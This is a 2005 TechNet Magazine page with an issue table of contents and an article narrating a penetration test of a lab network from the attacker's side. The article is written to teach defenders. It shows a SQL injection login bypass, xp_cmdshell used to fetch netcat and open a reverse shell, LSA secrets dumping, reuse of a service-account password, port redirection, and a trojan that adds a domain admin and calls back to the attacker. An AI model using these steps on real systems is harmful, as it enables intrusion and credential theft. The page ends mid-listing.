 TechNet Magazine Winter 2005

TechNet Magazine Winter 2005

Anatomy Of A Hack: How A Criminal Might Infiltrate Your Network

From elevating privileges to running SQL injection attacks, the criminal hacker has quite a few tricks up his sleeve. You'd better know what they are if you're going to keep this malevolent character out of your network.

Jesper Johansson Theft On The Web: Theft On The Web: Prevent Session Hijacking

There's a variety of ways that bad guys can take control of your network sessions, and they can do a lot of damage once they do take over. They can steal credit card information, user names, passwords, and more. Find out how to thwart their attempts before it's too late.

Kevin Lam, David LeBlanc, and Ben Smith Beat Hackers At Their Own Game With A Hackerbasher Site

Wouldn't it be great if you could turn the tables on Web site hack attempts by diverting them to a dead end where you can log all the information the attacker left behind? Here's how you can construct your own web to snare would-be attackers.

Marnie Hutcheson The Day After: The Day After: Your First Response To A Security Breach

They don't call it a post mortem for nothing. After an attack, it's best to assess the situation quickly, before facts slip away and the trail goes cold. Learn what makes a good post-hack post mortem.

Kelly J. Cooper Mixing It Up: Mixing It Up: Windows, UNIX, And Active Directory

Did you know that with Active Directory you can provide centralized security and directory functionality for mixed environments, including those with UNIX-based machines? Find out what you need to achieve the single sign-on functionality you've been hoping for in your heterogeneous environment.

Peter Larsen and Jason Zions Yes, You Can!: Yes, You Can! Secure Your Mac On A Windows Network

Don't let your lack of experience with Apple computers paralyze your attempts to connect them to your Windows-based network. Using Services for Macintosh, even a novice can get Windows and Mac machines to play together nicely.

Jay Shaw Get Smart!: Get Smart! Boost Your Network's IQ With Smart Cards

Brian Komar Security Watch: Six Free Microsoft Security Resources

Microsoft Baseline Security Analyzer, Port Reporter, plus information on Windows XP SP2, Software Update Services, Microsoft security events, and more

Kai Axford Five Lessons From The Microsoft Security Center Of Excellence

Dissecting the paths leading up to Slammer, Blaster, Sasser, and Code Red has allowed the Security Center of Excellence to help customers avoid such chaos in the future.

Aaron Turner Voice Mail In Your Inbox: Voice Mail In Your Inbox: Cisco Unity And Microsoft Exchange Make It Happen

Jeff Centimano From the Editor:

It is with great pride that we present to you the inaugural issue of TechNet Magazine, the Microsoft journal for IT pros. Our goal is simple: we want to be your best source for in-depth technical information about how you can best use Microsoft tools and technologies in your IT job.

Toolbox: New Products For IT Professionals

www.reasoning.com

Marnie Hutcheson Utility Spotlight: Analyze Security Descriptors with searchSd

Your IT department is interested in conducting security audits. The group wants to have statistics generated about the usage of access control entries (ACEs) in their domain deployment. They want to be able to run a job every Sunday at 1:00 A.

TechNet Magazine Staff SQL Q&A: SQL Server Express, Encrypting Data, and More

Your queries answered by Microsoft IT professionals.

Edited by Nancy Michell Office Space: Information Rights Management In Office 2003

Today's knowledge workers deal with sensitive information all the time. This information comes in a variety of formats such as Microsoft Word, Excel, PowerPoint®, and e-mail documents, and it must all be protected from unauthorized access and distribution.

Alok Mehta How IT Works: E-mail Headers

As a network administrator, you've just seen fifty copies of the same e-mail virus sent to your users. How do you know which machine is infected? Is it someone inside your own company or someone external you can block?

R'ykandar Korra'ti Post Mortem: Dissecting A Successful Campus Integration Project

Two colleges in the City University of New York (CUNY) system needed to implement a student retention system. The system, a client/server application, would sit beside an IBM mainframe.

Theresa Auricchio How IT Works: Domain Name System

Without DNS, the Internet would be an ugly place. DNS is one of the services responsible for directing network traffic based on name and numerical IP addresses. Specifically, it's the service that allows users to type in names instead of numbers to locate a Web site or Internet resource.

Regis Donovan Case Study: A 200,000+ Desktop Deployment

Deploying a major software application such as Microsoft® Office 2003 or Microsoft Windows® XP Professional throughout a global enterprise can be a challenge for any IT organization. And just because Microsoft wrote the software doesn't mean internal deployment is a simple process.

Steve Reay Serving the Web: Essential Security Administration For IIS 6.0

IIS 5. 0 administrators are familiar with the important security-related tasks required to harden and maintain a secure Web services environment. The many new features and capabilities of IIS 6. 0, available with every version of Windows Server™ 2003, renders the previous version obsolete.

Brett Hill Round Up: 15 Tips For A Smooth Migration To Exchange Server 2003

If you've heard that it's difficult to migrate from Exchange 5.5 to Exchange Server 2003, don't worry—there are steps you can take to simplify the upgrade process.

Jenna Lyday Resources: IIS 6.0 Security

In today's business environment, most organizations are using Web servers to extend products and services to both internal and external customers. At the same time, attackers are increasing their relentlessness and sophistication.

Phil Sherwood TechNet Update: New Benefits Deliver More Value to TechNet Plus Subscribers!

Microsoft is committed to delivering a comprehensive, centralized set of resources to help you solve technical problems, plan and deploy Microsoft technologies, and build your skills. To support this, the Microsoft TechNet Plus 2.

Field Notes: IT And Life Experiences

So here is the situation. You've been here before, a hundred times if not more. Your server worked perfectly, flawlessly serving up Web pages, photos from the company meeting, and departmental memos on cost-cutting measures.

Andrew Shuman


 Anatomy Of A Hack: How A Criminal Might Infiltrate Your Network
New information has been added to this article since publication.
Refer to the Editor's Update below.

Hacking: Fight Back Jesper Johansson

How A Criminal Might Infiltrate Your Network
At a Glance:
  • Paths hackers can use to infiltrate networks
  • What patching and version states reveal
  • IIS and SQL injection attacks
  • The dangers of elevated privileges
Security and Hacking
Network Setup
IIS
SQL Server

One of the great mysteries in security management is the modus operandi of criminal hackers. If you don't know how they can attack you, how can you protect yourself from them? Prepare to be enlightened.
This article is not intended to show you how to hack something, but rather to show how attackers can take advantage of your mistakes. This will enable you to avoid the common pitfalls that criminal hackers exploit.
Before I get started, there are several things you need to know about penetration testing. First of all, a penetration test gone wrong can have dire consequences for the stability of your network. Some of the tools used by hackers (criminal and otherwise) are designed to probe a network for vulnerabilities. Hacking tools and exploits used against a system can go wrong, destabilize a system or the entire network, or have other unintended consequences. A professional knows where to draw the line and how far she can push the network without breaking it. An amateur usually does not.
A healthy infusion of paranoia tends to be remarkably useful when protecting networks. One of the worst mistakes a security administrator can make is to assume everything is OK. Be aware of the mythical "your network is secure" statement. With alarming frequency, security consultants will leave you with a report that claims that your network is secure, based on the fact that they were unable to get into anything. This certainly does not mean your network is secure! It only means they couldn't find a way to break it, but someone else still could.

Target Network
Most networks today are built on what is called the eggshell principle: hard on the outside and soft on the inside. This means that if an attacker can gain a foothold onto the network, the rest of the network will usually fall like dominoes. Once inside, the most difficult part is often to figure out what to attack next and where to go for the really juicy bits of information. It does not have to be this way. With the proper techniques, we as network administrators can achieve two crucial objectives: to make it much more difficult to gain a foothold in the first place and to make it much more difficult to use that foothold to get anywhere else on the network.
Figure 1 Target Network
Figure 1 Target Network
Before I start attacking the target network, let's take a look at what I'm up against. Obviously, a real attacker going after a real network would rarely have access to complete network diagrams, but in my case it is enlightening to look at the configuration of the target network (see Figure 1).
As Figure 1 shows, my target network is a standard dual-screened subnet with a firewall at the front and at the back. The perimeter network has a pretty common setup with a front-end Web server, a back-end database server, and a demilitarized zone (DMZ) domain controller (DC). There is a corporate DC on the back end, and the attacker's end goal is to take control of that DC.
Perhaps the only unusual aspect of this network is the fact that the Web server and the DMZ DC are both serving as routers. This is actually an artifact of how this scenario was constructed. The network in question was built as virtual machines running in Microsoft® Virtual PC 2004 so that I can carry the network with me and use it for demonstrations. Realistically, I can only run two virtual machines per host computer. To run the entire network I need half as many hosts as I need guests. Had I built this with separate routers I would have needed three laptops (or one more than I'd ever want to carry). To that end, the Web server and DMZ DC are both serving as routers to reduce the number of host machines needed. I assure you, this somewhat unorthodox configuration has no bearing on what is to come.
The first step in hacking any network is to figure out what to attack—to develop a footprint of the target network. Some of the things it is useful for a criminal hacker to learn include:
  • Network address ranges
  • Host names
  • Exposed hosts
  • Applications exposed on those hosts
  • Operating system and application version information
  • Patch state of both the host and of the applications
  • Structure of the applications and back-end severs
So let's take a look at what kinds of information an attacker can obtain and learn how the typical hacker can find that important information.

Network Address Ranges and Host Names
The next step in a good hack is to find the logical locations for the networks of interest. Say I'm performing a penetration test of contoso.com. I would start out by looking up what networks are registered to contoso.com. Perhaps even more interesting than the publicly registered address ranges for contoso.com is any information on networks connected to the target network, such as an extranet or a business partner. It's often easier to attack poorsecurity.com and take over that domain before jumping from there to contoso.com. Like links in a chain, a network is only as secure as the least secure network connected to it (including all the VPN users connecting into it).
The next thing the attacker needs is host names. In some cases, it is possible to perform nslookup requests on large swaths of the network and it may even be possible to perform something called a zone transfer. A zone transfer is simply a request to a DNS server to send back a copy of an entire DMZ zone (a listing of all the registered names in the network). While host names are not critically important to most attacks, they can make an attack much simpler. For example, if you have the hostname of a Web server running IIS, you can deduce the anonymous IIS account for that host, since it is usually called IUSR_hostname. Now let's assume that the administrator has configured account lockout on that system. All an attacker has to do to take down that Web server is to send a large number of requests to the server asking it to authenticate you as IUSR_hostname. In short order the attacker can send enough bad passwords to lock out the anonymous user account. Once that account is locked out, the attacker can just keep sending enough bad requests to keep it that way and this Web server will no longer serve anything to anyone.

Exposed Hosts and Exposed Applications
More interesting than host names are the hosts that are actually exposed. In this phase of the attack, I am trying to locate easy targets. Doing so may be absolutely trivial. You may not even need any hacking tools, as long as Internet Control Message Protocol (ICMP) traffic is not blocked at the border. In that case, the following command is perfectly sufficient:
c:\discoverHosts 192.168.2
192.168.2.30
Obviously, the IP address at the end would need to be adjusted to the appropriate target range. All I am doing here, however, is sending an ICMP echo to each host on a particular network. If ICMP traffic is not blocked, you just sit back while your network generates a list of valid addresses.
In the vast majority of cases, ICMP traffic should be sent to /dev/null at the border. Even a half decent firewall should block ICMP, but it is surprising how often administrators forget to ensure that it is actually disabled. No response should even be sent. While this does not really stop enumeration, it makes it marginally more difficult since the attacker needs to rely on custom tools, such as port scanners.
A port scanner is simply a tool that attempts to connect to a target and report whether it was successful or not. A successful connection means the host is listening. An unsuccessful connection usually means it is not. The most common type of port scan is known as a SYN scan, where the attacker attempts to establish an ordinary connection to the target. If a host is listening, the connection will be successful and the port scanner will notify the attacker that a port is open. You can port scan an entire network in short order. Doing so on a range of well-chosen ports can give you a tremendous amount of information about what is available on the network.
Port scanning is the way to determine what applications are exposed on a host. This allows us to get information on possible vectors for attack. Some of the applications commonly looked for include the FTP clients and servers, Telnet, mail servers, and HTTP Web servers.

Version Info and Patch State
If you can, it is very useful to get information on the version of the applications that we find running on a target machine. For example, many applications have some kind of banner that is sent as soon as someone connects. Most SMTP and POP servers as well as many Web servers are configured to do this. In our case, however, the target network is running IIS 6.0 on Windows Server™ 2003, and IIS 6.0 does not send a banner with any usable info.
It is also very interesting to an attacker to find out what patch state the exposed servers are in. This information can be found in a variety of ways. In some cases, the banners presented by the applications will tell you all you need to know. For example, sendmail banners usually tell you the version number of the daemon. If you know which version of sendmail still exposes certain vulnerabilities, you have all the information you need. In other cases, you can figure out whether it has a particular patch or not from the responses the system is giving you. This is essentially the technique used in good vulnerability scanners and in OS fingerprinting tools. As a last resort, you can always fire off an exploit against a system and see what happens. This is often how vulnerability scanners look for denial of service attacks. If the system still responds after the attack it was most likely not vulnerable!

Structure of the Apps and Back-End Servers
It is often very helpful to get information about the structure of the application and back-end server(s), if any. This is usually very difficult, but in some cases you luck out. For example, let's assume you have a target network that uses a particular third-party Web application with very distinct file names and page designs. In this case, it is often obvious to the attacker which application you are using. If the attacker is familiar with the application, she may know how to exploit it. For instance, the application may use a configuration file called %webroot%\system.config. If files with the .config extension are not parsed by the Web server, the attacker can simply request this file in a Web browser. In a best-case scenario, that file will only give her information such as the names of the back-end servers and databases. In the worst-case scenario, that file will contain the user name and password used to actually establish the connection between the Web server and a database server.
Do not dismiss this as a contrived example. I encountered this exact situation just a few months ago as I was looking at a customer's network to see whether there was anything at all that could be done to improve security. A very large number of commercial Web applications are extremely poorly written, essentially turning them into backdoors into the network.
At this point, I have just about all the information I need to start hacking. The first step is to establish an initial foothold into the network, to pierce the eggshell, if you will.

Initial Compromise
Let's assume I've done some initial probing and know that the target network is fully patched and that there is a really tight firewall in front, only allowing traffic on ports 80 and 443 (the defaults for HTTP and HTTPS); where do I go from here? Remember what I said about backdoors. Where could the backdoor be? What am I up against? The first step is to look at what is exposed to me: a Web application. Figure 2 shows the Web server homepage. From this screen, I can tell that this is obviously an ordering site of some kind. Let's use a legitimate account to find out more about it.
Figure 2 Contoso.com Homepage
Figure 2 Contoso.com Homepage
The next page shows the Pubs bookstore and lists books for sale. They display my username on the page. This could come in handy if they are not careful, because I can use it to validate certain other techniques. For example, I have a hunch that this site uses a pretty poor algorithm for checking whether users have entered the right username or password (pretty shrewd, considering I wrote the algorithm!). I am also curious whether they are properly validating the input from the username fields. To find out for sure, I'm going to use a technique called SQL injection. Using a SQL injection attack, I pass the following string
foo' OR 1=1;--
in the username field. This yields the result shown in Figure 3.
In Figure 3, you can see that not only do I get logged on, but the application also displayed the fake username I sent it on the homepage. This latter artifact is actually a separate type of vulnerability known as a cross-site scripting (CSS) vulnerability, where the user input is echoed directly to the screen without sanitizing it first.
Figure 3 SQL Injection (and Cross-Site Scripting) at Work
Figure 3 SQL Injection (and Cross-Site Scripting) at Work
So how was I logged on? There obviously isn't a user called foo' OR 1=1;--. The application is very poorly written. It assumes that if any results come back from the database when it asks for a user with a particular password, then the username and password combination is obviously valid, and therefore it should log on this user. The SQL injection attack effectively rewrote the database query to include the statement OR 1=1. Since 1 is always equal to 1, this evaluates to true, which means the entire query evaluates to true for all records in the database. This will return every user account in the database, which means the application thought I was logged on.
I can now send arbitrary commands to the back-end database server. I am going to use that capability in an elevation of privilege attack to get the database server to run commands for me.

Elevating Privileges
As you saw earlier, the database server is not directly accessible from the Internet, and the front-end Web server is fully patched and not vulnerable to any known attacks. The objective at this point is to elevate my privileges so that I become an internal user, preferably a highly privileged one, on one of the systems in the target network. To do that, I'll use SQL injection to send commands to the database server and ask it to do things for us. Note that I cannot connect directly to the database server, so instead I will ask it to make a connection to me. I'll begin by setting up a listener on the external network, and then I will make the database server connect to me.
Before I can command the database server, I need to get some tools onto the Web server to further the attack. This is important because, generally speaking, hacking tools are not installed on the operating system by default. To get them up there you can use Trivial File Transfer Protocol (TFTP), a connectionless protocol used primarily for booting diskless workstations. The client application for TFTP is installed on all Windows systems by default (with the exception of Windows Server 2003 Service Pack 1 and later), so unless you have removed it, it is still there and available. Since I have a SQL injection vulnerability, I can use it to command the database server to use TFTP to download netcat to the database server. Netcat is a network tool somewhat like telnet, except that it is unauthenticated and much more versatile. It is freely available on the Internet and even comes standard on many UNIX and Linux distributions. It is pretty much universally used by attackers, however, and should never be left on a system where it is not absolutely needed.
The attack works by calling the xp_cmdshell stored procedure. Installed by default on SQL Server™, xp_cmdshell is used to execute commands on the underlying operating system. I will simply use this procedure to run TFTP and upload my tools to the database. xp_cmdshell is rarely needed in most deployments and can be disabled in several ways to protect against exactly this kind of attack. Once I've uploaded netcat, I tell netcat to create a socket, and then I pass that socket as stdin, stdout, and stderr in a call to cmd.exe. This sounds complicated, but it works reliably. The result is an outbound connection where I pipe a command shell over a socket. I now have my remote command line:
c:\>nc -l -p 12345
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>hostname
hostname
PYN-SQL
[ Editor's Update - 12/6/2004: The xp_cmdshell extended procedure is a powerful facility that, by default, is only available to system administrators. The SQL Server team recommends not allowing other users to execute this function. Additionally, since some system administrators don't require xp_cmdshell, SQL Server 2005 provides an additional layer of security by making xp_cmdshell optional so that it can't be used on those systems where it's not needed. Note that in the scenario described in this article, the web application connects to the database as sa, and as such the attacker is a system administrator.]
At this point, I have established my first foothold and am well on the way to taking over the network. I have escalated privileges from a remote anonymous user to an inside user. To find out what kind of user, I need to first get the rest of my tools onto the system. Those tools will be used to escalate local privileges if needed as well as to hack the rest of the systems on the network. I can transfer those, too, using tftp.exe. Once I've done that, I can verify my credentials on the host:
C:\warez>whoami
whoami
NT AUTHORITY\SYSTEM
Bingo! I'm already LocalSystem. That must certainly mean that SQL Server ran xp_cmdshell as LocalSystem, and that I have completely compromised the back-end database server. I can now proceed to hacking other machines on the network.

Hacking Other Machines
I have now pierced the eggshell. At this point, the objective is to fully "own" the network and take over everything else. Before I really get going, let's get some more information on my target using the dumpinfo utility, shown in Figure 4. dumpinfo is a custom tool that enumerates information from a system over a null session. A null session is an anonymous connection—one made without any authentication.
Figure 4 Localhost Dumpinfo (Close Figure 4)
C:\warez>dumpinfo 127.0.0.1

The Administrator is:   PYN-SQL\Administrator

Users on PYN-SQL:
RID 1000        PYN-SQL\TsInternetUser  a User
RID 1001        PYN-SQL\SQLDebugger     a User

Share           Type            Comment
IPC$            Unknown         Remote IPC
ADMIN$          Special         Remote Admin
C$              Special         Default share

Administrators:
PYN-SQL\Administrator
PYN-DMZ\_ids
PYN-DMZ\Domain Admins
From this I can learn that there is not much on this system; it looks rather like a default system. Before I proceed with using this information, let's figure out the lay of the land. Shown in Figure 5, invoking ipconfig.exe tells me my IP address and configuration. Notice that the machine has a private address so my connection must be going through a NAT router at 172.17.0.1. This information will also be useful later. Now, let's get hacking again.
Figure 5 Ipconfig Output for PYN-SQL (Close Figure 5)
C:\warez>ipconfig /all

Windows 2000 IP Configuration

        Host Name . . . . . . . . . . . . : PYN-SQL
        Primary DNS Suffix  . . . . . . . : PYN-DMZ.LOCAL
        Node Type . . . . . . . . . . . . : Mixed
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No
        DNS Suffix Search List. . . . . . : PYN-DMZ.LOCAL

Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : Intel 21140 Based PCI Fast Ethernet Adapter
        Physical Address. . . . . . . . . : 00-03-FF-03-3E-F0
        DHCP Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 172.17.0.3
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 172.17.0.1
        DNS Servers . . . . . . . . . . . : 172.17.0.2
The first thing the attacker does now is look for the easy exploits. Perhaps the simplest is to use shared service accounts, if present. Shared service accounts are an easy vector because the easiest way to configure services on multiple systems is to use domain accounts to run those services under, and then configure services on many systems to run with the same accounts. Alternatively, in some environments, local accounts are used, but the credentials match those on other systems. This means that if we find any services running in regular user accounts (as opposed to system accounts such as LocalSystem, NetworkService, and LocalService) it's likely that they are used on multiple systems.
To find out whether this is a viable vector, let's check who is running services on the database server I am on. To do that, I use a tool designed for that purpose:
C:\warez>serviceuser \\PYN-SQL
IDS
PYN_DMZ\_ids
As you can see, there is a domain account used for the IDS service (presumably the Intrusion Detection Service). To find out whether it is truly useful, let's learn more about the account using the net command. You can see the output in Figure 6.
Figure 6 Listing Local Admins (Close Figure 6)
C:\warez>net localgroup administrators
Alias name  administrators
Comment     Administrators have complete and
            unrestricted access to the
            computer/domain.

Members
----------------------------------------------
Administrator
PYN-DMZ\Domain Admins
PYN-SQL\Administrator
PYN-DMZ\_ids
The command completed successfully.
The _ids account is a domain account; and it is a local administrator.
It would of course be preferable if this was a domain account, but I'll take what I can get. To understand what you can do with this account, you need to know a little more about how Windows® operates. Services are applications that run when the system boots. Just like any other process on the system, services must run under some kind of user identity. When the service starts, the operating system will authenticate the account used for the service. To do this, it needs a username and password, which is stored in the Local Security Authority (LSA) Secrets. The LSA Secrets are maintained by the LSA to hold certain sensitive information, such as the computer account credentials, encryption keys, and service account credentials.
The LSA Secrets are encrypted on disk and decrypted by the OS when the machine boots. They are then held in clear text in the LSA process memory space while the system is running. To get at this information, the hacker must hook a debugger to the LSA process. That may sound daunting, but there are utilities designed specifically for this purpose. Note that the LSA is running as LocalSystem, so not just anyone can attach a debugger to a process running as LocalSystem. Doing so would be a serious security breach and violate all kinds of security models. However, any user who has the SeDebugPrivilege can do so. By default, this means only the Administrators are able. Since Administrators can do whatever they want anyway, this is not a security problem. They own the system without that privilege, and can grant themselves the privilege if they want. The problem comes when untrusted users have that privilege. In my case, I don't have to worry about that because my remote shell is running as LocalSystem. In other words, I am running as the same identity as the LSA process, and therefore have the right to attach a debugger to it, whether I have the privilege or not.
The output of running Lsadump, shown in Figure 7, has been truncated to make it easier to read, but the really interesting piece is right at the end, where the service account credentials are listed. As you can see, the right-hand column holds the service account password. I now know that there is a user called _ids, and that it has a password of "idsPasswd!" (the output is in Unicode, hence the dots in between, signifying nulls). The only thing left now is to find out where to use this account. By pinging all the hosts on the subnet, I find that there are only two other machines on this subnet, 172.17.0.1 (the gateway) and 172.17.0.2 (the DNS server). I suppose I should figure out a little bit more about each of them. To do that, I use dumpinfo again. By default, some Windows systems give out more information than others over a null session. Figure 8 shows some typical information.
Figure 8 Gateway Dumpinfo (Close Figure 8)
C:\warez>dumpinfo 172.17.0.1

Unable to look up the local administrator
Unable to enumerate users because I could not get the Admin Sid

Share           Type            Comment
IPC$            Unknown         Remote IPC
ADMIN$          Special         Remote Admin
wwwroot$        Disk
C$              Special         Default share

Administrators:
Unable to enumerate administrators
ERROR: Access Denied
Figure 7 Lsadump Output (Close Figure 7)
C:\warez>lsadump2
$MACHINE.ACC
 13 FE 4C 3A 04 F8 1F 94 75 C8 9B 0B 1C 35 45 7A  ..L:....u....5Ez
 52 7E 25 DF F8 17 F2 96 3A 35 81 C7              R~%.....:5..
DefaultPassword
DPAPI_SYSTEM
 01 00 00 00 C8 AA F8 8C 36 C7 69 CC DD 42 CB 15  ........6.i..B..
 3F 4E 07 6D 48 05 0A 4C FE 31 87 C9 F2 58 A3 AD  ?N.mH..L.1...X..
 B7 AD 13 20 26 11 24 24 FF 79 AE D3              ... &.$$.y..
...
_SC_IDS
 69 00 64 00 73 00 50 00 61 00 73 00 73 00 77 00  i.d.s.P.a.s.s.w.
 64 00 21 00                                      d.!.
I'm not getting very much info on this system because it is a Windows Server 2003 member server. Note that on Windows Server 2003 standalone and member servers, null session users will only be able to list the shares on the system, not the user accounts by default. You can tell from the dumpinfo output, however, that the default gateway is running a Web server, based on the fact that it exposes a wwwroot$ share. Notice that I do get a list of all the so-called hidden shares (shares postfixed with a $). The dollar sign is just a notification to the client-side of the API not to display this item. The dumpinfo tool ignores that notification and displays the item anyway.
It would also be helpful to find out what services are available on this system. This information will tell you the type of connections that you can make to it. To do that, let's turn to the portscanner:
C:\warez>portscan 172.17.0.1
Port 172.17.0.1:80 open
Port 172.17.0.1:135 open
Port 172.17.0.1:139 open
Port 172.17.0.1:445 open
Port 172.17.0.1:3389 open
This really doesn't tell me much, but it does verify that I am allowed to make SMB (ports 139 and 445) and Terminal Services connections (port 3389) to the gateway/Web server. This will be highly useful for furthering the attack in just a moment.
For now, let's take a closer look at the other system on the network, whose dumpinfo results are shown in Figure 9. The machine must be a domain controller because the account domains are PYN-DMZ but the hostname is PYN-DMZ-DC. By default, Windows Server 2003 DCs are configured for down-level compatibility. They let anonymous users access all information except for the list of users who are administrators. For completeness, we can also do a port scan:
C:\warez>portscan 172.17.0.2
Port 172.17.0.2:53 open
Port 172.17.0.2:135 open
Port 172.17.0.2:139 open
Port 172.17.0.2:389 open
Port 172.17.0.2:445 open
Port 172.17.0.2:3268 open
Figure 9 DNS Server Dumpinfo (Close Figure 9)
C:\warez>dumpinfo 172.17.0.2

The Administrator is:   PYN-DMZ\Administrator

Users on PYN-DMZ-DC:
RID 1000   PYN-DMZ\HelpServicesGroup  an Alias
RID 1001   PYN-DMZ\SUPPORT_388945a0   a User
RID 1002   PYN-DMZ\TelnetClients      an Alias
RID 1003   PYN-DMZ\PYN-DMZ-DC$        a User
RID 1104   PYN-DMZ\DnsAdmins          an Alias
RID 1105   PYN-DMZ\DnsUpdateProxy     a Group
RID 1106   PYN-DMZ\FAjenstat          a User
RID 1107   PYN-DMZ\AAlberts           a User
RID 1108   PYN-DMZ\HAcevedo           a User
RID 1109   PYN-DMZ\MAlexander         a User
RID 1110   PYN-DMZ\KAkers             a User
RID 1111   PYN-DMZ\TAdams             a User
RID 1112   PYN-DMZ\KAbercrombie       a User
RID 1113   PYN-DMZ\Sculp              a User
RID 1114   PYN-DMZ\SAbbas             a User
RID 1115   PYN-DMZ\MAllen             a User
RID 1116   PYN-DMZ\JAdams             a User
RID 1117   PYN-DMZ\SAlexander         a User
RID 1118   PYN-DMZ\HAbolrous          a User
RID 1119   PYN-DMZ\PAckerman          a User
RID 1120   PYN-DMZ\GAlderson          a User
RID 1121   PYN-DMZ\PYN-SQL$           a User
RID 1122   PYN-DMZ\PYN-WEB$           a User
RID 1123   PYN-DMZ\_IDS               a User

Share      Type            Comment
IPC$       Unknown         Remote IPC
NETLOGON   Disk            Logon server share
ADMIN$     Special         Remote Admin
SYSVOL     Disk            Logon server share
C$         Special         Default share

Administrators:
Unable to enumerate administrators
ERROR: Access Denied
Since port 3268 is listening, this must be a Global Catalog server for the forest. This means that 172.17.0.2 is a highly valuable target. Interestingly, this system does not have Terminal Services enabled.
I still do not know where the _ids account is used, so I'll just have to try it. There is no point in trying it on the DC since I know there is no account there with that name, so I try it on the Web server. Before I can do that, I need the hostname on the Web server. For this I use a custom tool, GetSystemInfo:
C:\warez>GetSystemInfo 172.17.0.1
Server info on 172.17.0.1
Name:        PYN-WEB
Domain:      PYN-DMZ
Version:     5.2
Platform ID: 500
Comment:
Server Flags:
Workstation
Server
Dial-in Server
GetSystemInfo is a very simple tool that merely connects to the system and asks for information in the HKLM\Software\Microsoft\Windows NT\CurrentVersion key. From this you see that the system is called PYN-WEB. I still don't know exactly how to hack this box, but I'll try one more thing:
C:\warez>serviceuser \\PYN-WEB
IDS                             PYN-DMZ\_ids
I almost have the info I need because the Web server is also running the IDS service under the same account. That's all I need to try the _ids account:
C:\warez>net use \\172.17.0.1\c$ /u:pyn-dmz\_ids idsPasswd!
The command completed successfully.
As you can see, I have successfully taken over the Web server! Now my objective changes to taking over the domain itself and in turn getting to the corporate domain from there.

Owning the Domain
So far I own the database server and the Web server (everything except the domain controller in fact). But what have I really gained with the Web server? To find out, I need to start by uploading my tools to it and getting a remote command shell on that system just like I did on the database server. It is just a bit simpler now that I have an administrative SMB connection to the Web server. SMB allows easy access to the Web server. For example, I can now schedule a command or launch some form of portable remote command shell.
Once I have a local shell, I can use all the normal tools that I know and love. For example, I can easily find out who all the local administrators are. There are not many accounts here, as you can see in Figure 10. I only see the service account I've already found, the local administrator, and the domain admins. That probably means that when they need to administer the system, they use a domain administrator account. This means it might be possible to use a Trojan horse program to make one of those users take over the domain for us. Generally speaking, an attacker would rather use a direct attack, since they produce faster results. If all else fails, however, I will resort to a passive attack to accomplish my goal. You may have noticed by now that I have not seen so much as a dialog box. Can't I do some GUI hacking for a change? Sure. There are some tricks to it, though.
Figure 10 Find Local Admin (Close Figure 10)
C:\warez>net localgroup administrators
Alias name administrators
Comment Administrators have complete and
unrestricted access to the computer/domain
Members
----------------------------------------------
Administrator
PYN_DMZ\_ids
PYN-DMZ\Domain Admins
The command completed successfully.
Recall that there were only two ports open on the firewall, 80 and 443. Since nothing was listening on port 443 on the Web server, I can establish a listener on that port without disrupting operations and risk tipping off the legitimate administrators. Rebinding terminal services to use that port would be highly noticeable.
Windows Terminal Services (using Remote Desktop Protocol) listens on port 3389. A portscan of the database server reveals that 3389 is indeed open:
C:\warez>portscan 172.17.0.3
Port 172.17.0.3:135 open
Port 172.17.0.3:139 open
Port 172.17.0.3:445 open
Port 172.17.0.3:1433 open
Port 172.17.0.3:3389 open
I can't establish a direct connection to the database server; for one thing, it's on a NAT'd network and is not directly accessible from the Internet. I can get there by putting a port redirector on the Web server. A port redirector takes traffic coming in on one port and directs it to another host on another port. In other words, I'll set up a port redirector on the Web server which will take incoming traffic on port 443 and send it to the SQL server on port 3389:
C:\warez>socketpipe 443 88 3389 172.17.0.3
With that socket open, all I do is establish a Web server connection using Terminal Services Client:
mstsc /v:192.168.2.30:443
Now that I can log on with my _ids user account, I have the full power of a graphical user interface (which some would argue is somewhat less than the full power of a command line, but no matter).
Even with the GUI, I have not yet taken over the DC. I'm going to use a Trojan horse to take it over. To do so, I use a really evil custom tool. First, I'll register it on the Web server (172.17.0.1) over my terminal services connection:
c:\warez>EvilTrojan -r 172.17.0.1 -a 192.168.2.112
The tool registers itself in the HKLM\Software\Microsoft\Windows\CurrentVersion\Run key, and therefore runs every time a user logs on. If that user is a domain admin, it creates a new user account on the domain and then adds that account to the domain admins group. If it's able to do so, it opens up the Messenger service and sends an administrative alert to the attacker (192.168.2.112 in our case). Lastly, it removes itself from the Run key to hide its tracks. All this happens while the administrator is logging on, and therefore is completely transparent to the administrator. In the end, the only thing left on the system to indicate that anything happened is a file called avcheck.exe that is located in the Windows directory.
Obviously, some other backchannel notification can be used. In the real world, attackers often use Internet Relay Chat (IRC). Even a really subtle HTTP transaction can serve as notification. Now all I have to do is to wait for a domain administrator to log on. Once an administrator logs on, I get a handy success notification:
C:\>nc -l -p 80
Succeeded in adding a user.
User: attacker$
Password: "Uare0wn3d!"
Domain: PYN-DMZ
DC: PYN-DMZ-DC
The notification can be received any way I want. This particular Trojan simply opens a socket to port 80 on the attacker's host and sends the notification to it. Notifications could be encrypted, encoded, come over just about any port or protocol, and altered in a myriad of ways. For instance, notifications to an IRC chat channel are quite common.
At this point, the DMZ domain has fallen and I have taken over the domain controller. Remember, this is the keeper of the keys to the kingdom and contains the user accounts database, among other things. In order to make use of this newfound power, I once again make the DC connect to me so I can get a remote shell. Once I do, I continue learning more about where I am, as is shown in Figure 11.
Figure 11 Ipconfig Output for PYN-DMZ-DC (Close Figure 11)
C:\warez>ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : PYN-DMZ-DC
   Primary Dns Suffix  . . . . . . . : PYN-DMZ.LOCAL
   Node Type . . . . . . . . . . . . : Unknown
   IP Routing Enabled. . . . . . . . : Yes
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : PYN-DMZ.LOCAL

Ethernet adapter CorpNet:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Intel 21140-Based PCI Fast Ethernet Adapter (Generic) #2
   Physical Address. . . . . . . . . : 00-03-FF-06-3E-F0
   DHCP Enabled. . . . . . . . . . . : No
   IP Address. . . . . . . . . . . . : 10.1.2.16
